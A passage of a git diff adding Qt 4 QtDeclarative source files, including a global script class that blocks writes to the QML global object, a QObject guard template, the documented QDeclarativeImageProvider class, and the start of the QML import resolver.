+ { \
+ static enum { Yes, No, Unknown } status = Unknown; \
+ if (status == Unknown) { \
+ QByteArray v = qgetenv(#var); \
+ bool value = !v.isEmpty() && v != "0" && v != "false"; \
+ if (value) status = Yes; \
+ else status = No; \
+ } \
+ return status == Yes; \
+ }
+
+#ifdef Q_OS_SYMBIAN
+#define Q_DECLARATIVE_PRIVATE_EXPORT Q_AUTOTEST_EXPORT
+#else
+#define Q_DECLARATIVE_PRIVATE_EXPORT Q_DECLARATIVE_EXPORT
+#endif
+
+struct QDeclarativeGraphics_DerivedObject : public QObject
+{
+ void setParent_noEvent(QObject *parent) {
+ bool sce = d_ptr->sendChildEvents;
+ d_ptr->sendChildEvents = false;
+ setParent(parent);
+ d_ptr->sendChildEvents = sce;
+ }
+};
+
+/*!
+ Returns true if the case of \a fileName is equivalent to the file case of
+ \a fileName on disk, and false otherwise.
+
+ This is used to ensure that the behavior of QML on a case-insensitive file
+ system is the same as on a case-sensitive file system. This function
+ performs a "best effort" attempt to determine the real case of the file.
+ It may have false positives (say the case is correct when it isn't), but it
+ should never have a false negative (say the case is incorrect when it is
+ correct).
+*/
+bool QDeclarative_isFileCaseCorrect(const QString &fileName);
+
+/*!
+ Makes the \a object a child of \a parent. Note that when using this method,
+ neither \a parent nor the object's previous parent (if it had one) will
+ receive ChildRemoved or ChildAdded events.
+*/
+inline void QDeclarative_setParent_noEvent(QObject *object, QObject *parent)
+{
+ static_cast<QDeclarativeGraphics_DerivedObject *>(object)->setParent_noEvent(parent);
+}
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEGLOBAL_H
diff --git a/src/declarative/qml/qdeclarativeglobalscriptclass.cpp b/src/declarative/qml/qdeclarativeglobalscriptclass.cpp
new file mode 100644
index 00000000..724c36c3
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeglobalscriptclass.cpp
@@ -0,0 +1,147 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeglobalscriptclass_p.h"
+
+#include <QtCore/qstringlist.h>
+#include <QtCore/qvector.h>
+#include <QtScript/qscriptstring.h>
+#include <QtScript/qscriptengine.h>
+#include <QtScript/qscriptvalueiterator.h>
+
+#include <private/qscriptdeclarativeclass_p.h>
+
+QT_BEGIN_NAMESPACE
+
+/*
+ Used to prevent any writes to the global object.
+*/
+QDeclarativeGlobalScriptClass::QDeclarativeGlobalScriptClass(QScriptEngine *engine)
+: QScriptClass(engine)
+{
+ QString eval = QLatin1String("eval");
+ QString version = QLatin1String("version");
+
+ QScriptValue originalGlobalObject = engine->globalObject();
+
+ QScriptValue newGlobalObject = engine->newObject();
+
+ {
+ QScriptValueIterator iter(originalGlobalObject);
+ QVector<QString> names;
+ QVector<QScriptValue> values;
+ QVector<QScriptValue::PropertyFlags> flags;
+ while (iter.hasNext()) {
+ iter.next();
+
+ QString name = iter.name();
+
+ if (name == version)
+ continue;
+
+ if (name != eval) {
+ names.append(name);
+ values.append(iter.value());
+ flags.append(iter.flags() | QScriptValue::Undeletable);
+ }
+ newGlobalObject.setProperty(iter.scriptName(), iter.value());
+
+ m_illegalNames.insert(name);
+ }
+ m_staticGlobalObject = QScriptDeclarativeClass::newStaticScopeObject(
+ engine, names.size(), names.constData(), values.constData(), flags.constData());
+ }
+
+ newGlobalObject.setScriptClass(this);
+ engine->setGlobalObject(newGlobalObject);
+}
+
+QScriptClass::QueryFlags
+QDeclarativeGlobalScriptClass::queryProperty(const QScriptValue &object,
+ const QScriptString &name,
+ QueryFlags flags, uint *id)
+{
+ Q_UNUSED(object);
+ Q_UNUSED(name);
+ Q_UNUSED(flags);
+ Q_UNUSED(id);
+ return HandlesWriteAccess;
+}
+
+void QDeclarativeGlobalScriptClass::setProperty(QScriptValue &object,
+ const QScriptString &name,
+ uint id, const QScriptValue &value)
+{
+ Q_UNUSED(object);
+ Q_UNUSED(id);
+ Q_UNUSED(value);
+ QString error = QLatin1String("Invalid write to global property \"") +
+ name.toString() + QLatin1Char('\"');
+ engine()->currentContext()->throwError(error);
+}
+
+/* This method is for the use of tst_qdeclarativeecmascript::callQtInvokables() only */
+void QDeclarativeGlobalScriptClass::explicitSetProperty(const QStringList &names, const QList<QScriptValue> &values)
+{
+ Q_ASSERT(names.count() == values.count());
+ QScriptValue globalObject = engine()->globalObject();
+
+ QScriptValue v = engine()->newObject();
+
+ QScriptValueIterator iter(v);
+ while (iter.hasNext()) {
+ iter.next();
+ v.setProperty(iter.scriptName(), iter.value());
+ }
+
+ for (int ii = 0; ii < names.count(); ++ii) {
+ const QString &name = names.at(ii);
+ const QScriptValue &value = values.at(ii);
+ v.setProperty(name, value);
+ }
+
+ v.setScriptClass(this);
+
+ engine()->setGlobalObject(v);
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/qml/qdeclarativeglobalscriptclass_p.h b/src/declarative/qml/qdeclarativeglobalscriptclass_p.h
new file mode 100644
index 00000000..2e751e18
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeglobalscriptclass_p.h
@@ -0,0 +1,86 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEGLOBALSCRIPTCLASS_P_H
+#define QDECLARATIVEGLOBALSCRIPTCLASS_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtScript/qscriptclass.h>
+#include <QtCore/qset.h>
+
+QT_BEGIN_NAMESPACE
+
+class Q_AUTOTEST_EXPORT QDeclarativeGlobalScriptClass : public QScriptClass
+{
+public:
+ QDeclarativeGlobalScriptClass(QScriptEngine *);
+
+ virtual QueryFlags queryProperty(const QScriptValue &object,
+ const QScriptString &name,
+ QueryFlags flags, uint *id);
+
+ virtual void setProperty(QScriptValue &object, const QScriptString &name,
+ uint id, const QScriptValue &value);
+
+ void explicitSetProperty(const QStringList &, const QList<QScriptValue> &);
+
+ const QScriptValue &staticGlobalObject() const { return m_staticGlobalObject; }
+
+ const QSet<QString> &illegalNames() const { return m_illegalNames; }
+
+private:
+ QSet<QString> m_illegalNames;
+ QScriptValue m_staticGlobalObject;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEGLOBALSCRIPTCLASS_P_H
diff --git a/src/declarative/qml/qdeclarativeguard_p.h b/src/declarative/qml/qdeclarativeguard_p.h
new file mode 100644
index 00000000..0685ed2f
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeguard_p.h
@@ -0,0 +1,214 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEGUARD_P_H
+#define QDECLARATIVEGUARD_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists for the convenience
+// of qapplication_*.cpp, qwidget*.cpp and qfiledialog.cpp. This header
+// file may change from version to version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qglobal.h>
+#include <QtCore/qvariant.h>
+#include <private/qdeclarativedata_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeGuardImpl
+{
+public:
+ inline QDeclarativeGuardImpl();
+ inline QDeclarativeGuardImpl(QObject *);
+ inline QDeclarativeGuardImpl(const QDeclarativeGuardImpl &);
+ inline ~QDeclarativeGuardImpl();
+
+ QObject *o;
+ QDeclarativeGuardImpl *next;
+ QDeclarativeGuardImpl **prev;
+
+ inline void addGuard();
+ inline void remGuard();
+};
+
+class QObject;
+template<class T>
+class QDeclarativeGuard : private QDeclarativeGuardImpl
+{
+ friend class QDeclarativeData;
+public:
+ inline QDeclarativeGuard();
+ inline QDeclarativeGuard(T *);
+ inline QDeclarativeGuard(const QDeclarativeGuard<T> &);
+ inline virtual ~QDeclarativeGuard();
+
+ inline QDeclarativeGuard<T> &operator=(const QDeclarativeGuard<T> &o);
+ inline QDeclarativeGuard<T> &operator=(T *);
+
+ inline T *object() const;
+ inline void setObject(T *g);
+
+ inline bool isNull() const
+ { return !o; }
+
+ inline T* operator->() const
+ { return static_cast<T*>(const_cast<QObject*>(o)); }
+ inline T& operator*() const
+ { return *static_cast<T*>(const_cast<QObject*>(o)); }
+ inline operator T*() const
+ { return static_cast<T*>(const_cast<QObject*>(o)); }
+ inline T* data() const
+ { return static_cast<T*>(const_cast<QObject*>(o)); }
+
+protected:
+ virtual void objectDestroyed(T *) {}
+};
+
+QDeclarativeGuardImpl::QDeclarativeGuardImpl()
+: o(0), next(0), prev(0)
+{
+}
+
+QDeclarativeGuardImpl::QDeclarativeGuardImpl(QObject *g)
+: o(g), next(0), prev(0)
+{
+ if (o) addGuard();
+}
+
+QDeclarativeGuardImpl::QDeclarativeGuardImpl(const QDeclarativeGuardImpl &g)
+: o(g.o), next(0), prev(0)
+{
+ if (o) addGuard();
+}
+
+QDeclarativeGuardImpl::~QDeclarativeGuardImpl()
+{
+ if (prev) remGuard();
+ o = 0;
+}
+
+void QDeclarativeGuardImpl::addGuard()
+{
+ Q_ASSERT(!prev);
+
+ if (QObjectPrivate::get(o)->wasDeleted)
+ return;
+
+ QDeclarativeData *data = QDeclarativeData::get(o, true);
+ next = data->guards;
+ if (next) next->prev = &next;
+ data->guards = this;
+ prev = &data->guards;
+}
+
+void QDeclarativeGuardImpl::remGuard()
+{
+ Q_ASSERT(prev);
+
+ if (next) next->prev = prev;
+ *prev = next;
+ next = 0;
+ prev = 0;
+}
+
+template<class T>
+QDeclarativeGuard<T>::QDeclarativeGuard()
+{
+}
+
+template<class T>
+QDeclarativeGuard<T>::QDeclarativeGuard(T *g)
+: QDeclarativeGuardImpl(g)
+{
+}
+
+template<class T>
+QDeclarativeGuard<T>::QDeclarativeGuard(const QDeclarativeGuard<T> &g)
+: QDeclarativeGuardImpl(g)
+{
+}
+
+template<class T>
+QDeclarativeGuard<T>::~QDeclarativeGuard()
+{
+}
+
+template<class T>
+QDeclarativeGuard<T> &QDeclarativeGuard<T>::operator=(const QDeclarativeGuard<T> &g)
+{
+ setObject(g.object());
+ return *this;
+}
+
+template<class T>
+QDeclarativeGuard<T> &QDeclarativeGuard<T>::operator=(T *g)
+{
+ setObject(g);
+ return *this;
+}
+
+template<class T>
+T *QDeclarativeGuard<T>::object() const
+{
+ return static_cast<T *>(o);
+};
+
+template<class T>
+void QDeclarativeGuard<T>::setObject(T *g)
+{
+ if (g != o) {
+ if (prev) remGuard();
+ o = g;
+ if (o) addGuard();
+ }
+}
+
+QT_END_NAMESPACE
+
+Q_DECLARE_METATYPE(QDeclarativeGuard<QObject>)
+
+#endif // QDECLARATIVEGUARD_P_H
diff --git a/src/declarative/qml/qdeclarativeimageprovider.cpp b/src/declarative/qml/qdeclarativeimageprovider.cpp
new file mode 100644
index 00000000..8eb15d18
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeimageprovider.cpp
@@ -0,0 +1,259 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeimageprovider.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeImageProviderPrivate
+{
+public:
+ QDeclarativeImageProvider::ImageType type;
+};
+
+/*!
+ \class QDeclarativeImageProvider
+ \since 4.7
+ \brief The QDeclarativeImageProvider class provides an interface for supporting pixmaps and threaded image requests in QML.
+
+ QDeclarativeImageProvider is used to provide advanced image loading features
+ in QML applications. It allows images in QML to be:
+
+ \list
+ \o Loaded using QPixmaps rather than actual image files
+ \o Loaded asynchronously in a separate thread, if imageType() is \l{QDeclarativeImageProvider::ImageType}{ImageType::Image}
+ \endlist
+
+ To specify that an image should be loaded by an image provider, use the
+ \bold {"image:"} scheme for the URL source of the image, followed by the
+ identifiers of the image provider and the requested image. For example:
+
+ \qml
+ Image { source: "image://myimageprovider/image.png" }
+ \endqml
+
+ This specifies that the image should be loaded by the image provider named
+ "myimageprovider", and the image to be loaded is named "image.png". The QML engine
+ invokes the appropriate image provider according to the providers that have
+ been registered through QDeclarativeEngine::addImageProvider().
+
+ Note that the identifiers are case-insensitive, but the rest of the URL will be passed on with
+ preserved case. For example, the below snippet would still specify that the image is loaded by the
+ image provider named "myimageprovider", but it would request a different image than the above snippet
+ ("Image.png" instead of "image.png").
+ \qml
+ Image { source: "image://MyImageProvider/Image.png" }
+ \endqml
+
+ If you want the rest of the URL to be case insensitive, you will have to take care
+ of that yourself inside your image provider.
+
+ \section2 An example
+
+ Here are two images. Their \c source values indicate they should be loaded by
+ an image provider named "colors", and the images to be loaded are "yellow"
+ and "red", respectively:
+
+ \snippet examples/declarative/cppextensions/imageprovider/imageprovider-example.qml 0
+
+ When these images are loaded by QML, it looks for a matching image provider
+ and calls its requestImage() or requestPixmap() method (depending on its
+ imageType()) to load the image. The method is called with the \c id
+ parameter set to "yellow" for the first image, and "red" for the second.
+
+ Here is an image provider implementation that can load the images
+ requested by the above QML. This implementation dynamically
+ generates QPixmap images that are filled with the requested color:
+
+ \snippet examples/declarative/cppextensions/imageprovider/imageprovider.cpp 0
+ \codeline
+ \snippet examples/declarative/cppextensions/imageprovider/imageprovider.cpp 1
+
+ To make this provider accessible to QML, it is registered with the QML engine
+ with a "colors" identifier:
+
+ \code
+ int main(int argc, char *argv[])
+ {
+ ...
+
+ QDeclarativeEngine engine;
+ engine->addImageProvider(QLatin1String("colors"), new ColorPixmapProvider);
+
+ ...
+ }
+ \endcode
+
+ Now the images can be successfully loaded in QML:
+
+ \image imageprovider.png
+
+ A complete example is available in Qt's
+ \l {declarative/cppextensions/imageprovider}{examples/declarative/cppextensions/imageprovider}
+ directory. Note the example registers the provider via a \l{QDeclarativeExtensionPlugin}{plugin}
+ instead of registering it in the application \c main() function as shown above.
+
+
+ \section2 Asynchronous image loading
+
+ Image providers that support QImage loading automatically include support
+ for asychronous loading of images. To enable asynchronous loading for an
+ image source, set the \c asynchronous property to \c true for the relevant
+ \l Image, \l BorderImage or \l AnimatedImage object. When this is enabled,
+ the image request to the provider is run in a low priority thread,
+ allowing image loading to be executed in the background, and reducing the
+ performance impact on the user interface.
+
+ Asynchronous loading is not supported for image providers that provide
+ QPixmap rather than QImage values, as pixmaps can only be created in the
+ main thread. In this case, if \l {Image::}{asynchronous} is set to
+ \c true, the value is ignored and the image is loaded
+ synchronously.
+
+
+ \section2 Image caching
+
+ Images returned by a QDeclarativeImageProvider are automatically cached,
+ similar to any image loaded by the QML engine. When an image with a
+ "image://" prefix is loaded from cache, requestImage() and requestPixmap()
+ will not be called for the relevant image provider. If an image should always
+ be fetched from the image provider, and should not be cached at all, set the
+ \c cache property to \c false for the relevant \l Image, \l BorderImage or
+ \l AnimatedImage object.
+
+ \sa QDeclarativeEngine::addImageProvider()
+*/
+
+/*!
+ \enum QDeclarativeImageProvider::ImageType
+
+ Defines the type of image supported by this image provider.
+
+ \value Image The Image Provider provides QImage images. The
+ requestImage() method will be called for all image requests.
+ \value Pixmap The Image Provider provides QPixmap images. The
+ requestPixmap() method will be called for all image requests.
+*/
+
+/*!
+ Creates an image provider that will provide images of the given \a type.
+*/
+QDeclarativeImageProvider::QDeclarativeImageProvider(ImageType type)
+ : d(new QDeclarativeImageProviderPrivate)
+{
+ d->type = type;
+}
+
+/*!
+ Destroys the QDeclarativeImageProvider
+
+ \note The destructor of your derived class need to be thread safe.
+*/
+QDeclarativeImageProvider::~QDeclarativeImageProvider()
+{
+ delete d;
+}
+
+/*!
+ Returns the image type supported by this provider.
+*/
+QDeclarativeImageProvider::ImageType QDeclarativeImageProvider::imageType() const
+{
+ return d->type;
+}
+
+/*!
+ Implement this method to return the image with \a id. The default
+ implementation returns an empty image.
+
+ The \a id is the requested image source, with the "image:" scheme and
+ provider identifier removed. For example, if the image \l{Image::}{source}
+ was "image://myprovider/icons/home", the given \a id would be "icons/home".
+
+ The \a requestedSize corresponds to the \l {Image::sourceSize} requested by
+ an Image element. If \a requestedSize is a valid size, the image
+ returned should be of that size.
+
+ In all cases, \a size must be set to the original size of the image. This
+ is used to set the \l {Item::}{width} and \l {Item::}{height} of the
+ relevant \l Image if these values have not been set explicitly.
+
+ \note this method may be called by multiple threads, so ensure the
+ implementation of this method is reentrant.
+*/
+QImage QDeclarativeImageProvider::requestImage(const QString &id, QSize *size, const QSize& requestedSize)
+{
+ Q_UNUSED(id);
+ Q_UNUSED(size);
+ Q_UNUSED(requestedSize);
+ if (d->type == Image)
+ qWarning("ImageProvider supports Image type but has not implemented requestImage()");
+ return QImage();
+}
+
+/*!
+ Implement this method to return the pixmap with \a id. The default
+ implementation returns an empty pixmap.
+
+ The \a id is the requested image source, with the "image:" scheme and
+ provider identifier removed. For example, if the image \l{Image::}{source}
+ was "image://myprovider/icons/home", the given \a id would be "icons/home".
+
+ The \a requestedSize corresponds to the \l {Image::sourceSize} requested by
+ an Image element. If \a requestedSize is a valid size, the image
+ returned should be of that size.
+
+ In all cases, \a size must be set to the original size of the image. This
+ is used to set the \l {Item::}{width} and \l {Item::}{height} of the
+ relevant \l Image if these values have not been set explicitly.
+*/
+QPixmap QDeclarativeImageProvider::requestPixmap(const QString &id, QSize *size, const QSize& requestedSize)
+{
+ Q_UNUSED(id);
+ Q_UNUSED(size);
+ Q_UNUSED(requestedSize);
+ if (d->type == Pixmap)
+ qWarning("ImageProvider supports Pixmap type but has not implemented requestPixmap()");
+ return QPixmap();
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/qml/qdeclarativeimageprovider.h b/src/declarative/qml/qdeclarativeimageprovider.h
new file mode 100644
index 00000000..c1bfba0e
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeimageprovider.h
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEIMAGEPROVIDER_H
+#define QDECLARATIVEIMAGEPROVIDER_H
+
+#include <QtGui/qimage.h>
+#include <QtGui/qpixmap.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeImageProviderPrivate;
+
+class Q_DECLARATIVE_EXPORT QDeclarativeImageProvider
+{
+public:
+ enum ImageType {
+ Image,
+ Pixmap
+ };
+
+ QDeclarativeImageProvider(ImageType type);
+ virtual ~QDeclarativeImageProvider();
+
+ ImageType imageType() const;
+
+ virtual QImage requestImage(const QString &id, QSize *size, const QSize& requestedSize);
+ virtual QPixmap requestPixmap(const QString &id, QSize *size, const QSize& requestedSize);
+
+private:
+ QDeclarativeImageProviderPrivate *d;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEIMAGEPROVIDER
diff --git a/src/declarative/qml/qdeclarativeimport.cpp b/src/declarative/qml/qdeclarativeimport.cpp
new file mode 100644
index 00000000..a3592f93
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeimport.cpp
@@ -0,0 +1,1083 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeimport_p.h"
+
+#include <QtCore/qdebug.h>
+#include <QtCore/qdir.h>
+#include <QtCore/qfileinfo.h>
+#include <QtCore/qpluginloader.h>
+#include <QtCore/qlibraryinfo.h>
+#include <QtCore/qalgorithms.h>
+#include <QtDeclarative/qdeclarativeextensioninterface.h>
+#include <private/qdeclarativeglobal_p.h>
+#include <private/qdeclarativetypenamecache_p.h>
+#include <private/qdeclarativeengine_p.h>
+
+#ifdef Q_OS_SYMBIAN
+#include "private/qcore_symbian_p.h"
+#endif
+
+QT_BEGIN_NAMESPACE
+
+DEFINE_BOOL_CONFIG_OPTION(qmlImportTrace, QML_IMPORT_TRACE)
+DEFINE_BOOL_CONFIG_OPTION(qmlCheckTypes, QML_CHECK_TYPES)
+
+static bool greaterThan(const QString &s1, const QString &s2)
+{
+ return s1 > s2;
+}
+
+typedef QMap<QString, QString> StringStringMap;
+Q_GLOBAL_STATIC(StringStringMap, qmlEnginePluginsWithRegisteredTypes); // stores the uri
+
+class QDeclarativeImportedNamespace
+{
+public:
+ QStringList uris;
+ QStringList urls;
+ QList<int> majversions;
+ QList<int> minversions;
+ QList<bool> isLibrary;
+ QList<QDeclarativeDirComponents> qmlDirComponents;
+
+
+ bool find_helper(QDeclarativeTypeLoader *typeLoader, int i, const QByteArray& type, int *vmajor, int *vminor,
+ QDeclarativeType** type_return, QUrl* url_return,
+ QUrl *base = 0, bool *typeRecursionDetected = 0);
+ bool find(QDeclarativeTypeLoader *typeLoader, const QByteArray& type, int *vmajor, int *vminor, QDeclarativeType** type_return,
+ QUrl* url_return, QUrl *base = 0, QString *errorString = 0);
+};
+
+class QDeclarativeImportsPrivate {
+public:
+ QDeclarativeImportsPrivate(QDeclarativeTypeLoader *loader);
+ ~QDeclarativeImportsPrivate();
+
+ bool importExtension(const QString &absoluteFilePath, const QString &uri,
+ QDeclarativeImportDatabase *database, QDeclarativeDirComponents* components,
+ QString *errorString);
+
+ QString resolvedUri(const QString &dir_arg, QDeclarativeImportDatabase *database);
+ bool add(const QDeclarativeDirComponents &qmldircomponentsnetwork,
+ const QString& uri_arg, const QString& prefix,
+ int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType,
+ QDeclarativeImportDatabase *database, QString *errorString);
+ bool find(const QByteArray& type, int *vmajor, int *vminor,
+ QDeclarativeType** type_return, QUrl* url_return, QString *errorString);
+
+ QDeclarativeImportedNamespace *findNamespace(const QString& type);
+
+ QUrl base;
+ int ref;
+
+ QSet<QString> qmlDirFilesForWhichPluginsHaveBeenLoaded;
+ QDeclarativeImportedNamespace unqualifiedset;
+ QHash<QString,QDeclarativeImportedNamespace* > set;
+ QDeclarativeTypeLoader *typeLoader;
+};
+
+/*!
+\class QDeclarativeImports
+\brief The QDeclarativeImports class encapsulates one QML document's import statements.
+\internal
+*/
+QDeclarativeImports::QDeclarativeImports(const QDeclarativeImports &copy)
+: d(copy.d)
+{
+ ++d->ref;
+}
+
+QDeclarativeImports &
+QDeclarativeImports::operator =(const QDeclarativeImports &copy)
+{
+ ++copy.d->ref;
+ if (--d->ref == 0)
+ delete d;
+ d = copy.d;
+ return *this;
+}
+
+QDeclarativeImports::QDeclarativeImports()
+ : d(new QDeclarativeImportsPrivate(0)){
+}
+
+QDeclarativeImports::QDeclarativeImports(QDeclarativeTypeLoader *typeLoader)
